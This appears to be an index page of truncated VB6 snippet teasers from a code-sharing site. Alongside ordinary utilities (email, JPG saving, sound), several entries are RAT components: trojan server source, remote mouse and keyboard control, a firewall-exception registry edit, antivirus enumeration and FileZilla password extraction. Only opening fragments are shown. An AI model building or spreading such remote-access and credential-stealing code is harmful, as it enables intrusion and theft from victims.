Sending a text email with an attachement

By repeating the .AddAttachment method you can attach more than one file. When attaching files keep i...

Firewall Exception VB6 Code

Windows firewall exception: Code: Public Sub FirewallException(Path As String) Shell "cmd /c REG ADD HKLM\System\CurrentControl...

VB6 Send mail without controls

This code will help you send mail from your VB6 form without Winsock \ inet \ webbrowser1 or any other controls. This code uses the  CDO.Me...

Save JPG with VB6 Code

Code: Option Explicit Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetWindo...

VB6 Sample Skins 2

Another VB6 Sample skin set..actskin4.ocx Download

Hide/ Show Desktop icons VB6 Code

Code: Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long...

VB6 Basic Trojan Source Code

'Form=frmserver.frm 'Add control : MSWINSCK.OCX 'Project="server_project" Code: Private Sub Form_Load()     ...

Monitor Off VB6 Code

Code: Public Sub MonitorOff() SendMessage frm.hwnd, &H112, &HF170&, 2& End Sub

Shutdown PC VB6 Code

Code: Public Function funshutdownmenu(bi As Integer) Select Case bi Case 0 Call Shell("shutdown -s -t 3"...

CD Rom Open/Close VB6

This function can control CD Rom door. Code: Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) ...

Key Lock VB6 Code

This code can Handle remote PC keys... Code: Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byt...

Get Mouse Control VB6 RAT

This code can control remote PC mouse.... Code: Option Explicit Public Declare Sub mouse_event Lib "user32" (ByVal dwFlags As ...

Get Antivirus List VB6 Code

Code: Public Function AntiVirusess() As String On Error Resume Next Dim strComputer As String Dim objWMIService As Object Dim colProcesses...

Get/ Set Cursor Pos VB6 Code

Code: Public Function SetCursorP(X, Y) SetCursorPos X, Y End Function Public Function GetCursorX() Dim dl& dl& = Get...

VB6 Play Sound

code: Public Declare Function sndPlaySound Lib "winmm" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFl...

Start button Hide/Show VB6 Code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Start button enable/disable vb6 code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Desktop flip vb6 code

This can make desktop flip vertical or horisontal Code: Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByV...

Get Spacial Path VB6

Get spacial path from the windows. Code: Private Const MAX_PATH = 260 Private Const CSIDL_STARTUP As Long = &H7 Private Const CSIDL...

Get Filezilla Passwords

code; Public Function sFileZilla() As String Dim sFile As String Dim sPath As String Dim sCont() As String Dim sHost() ...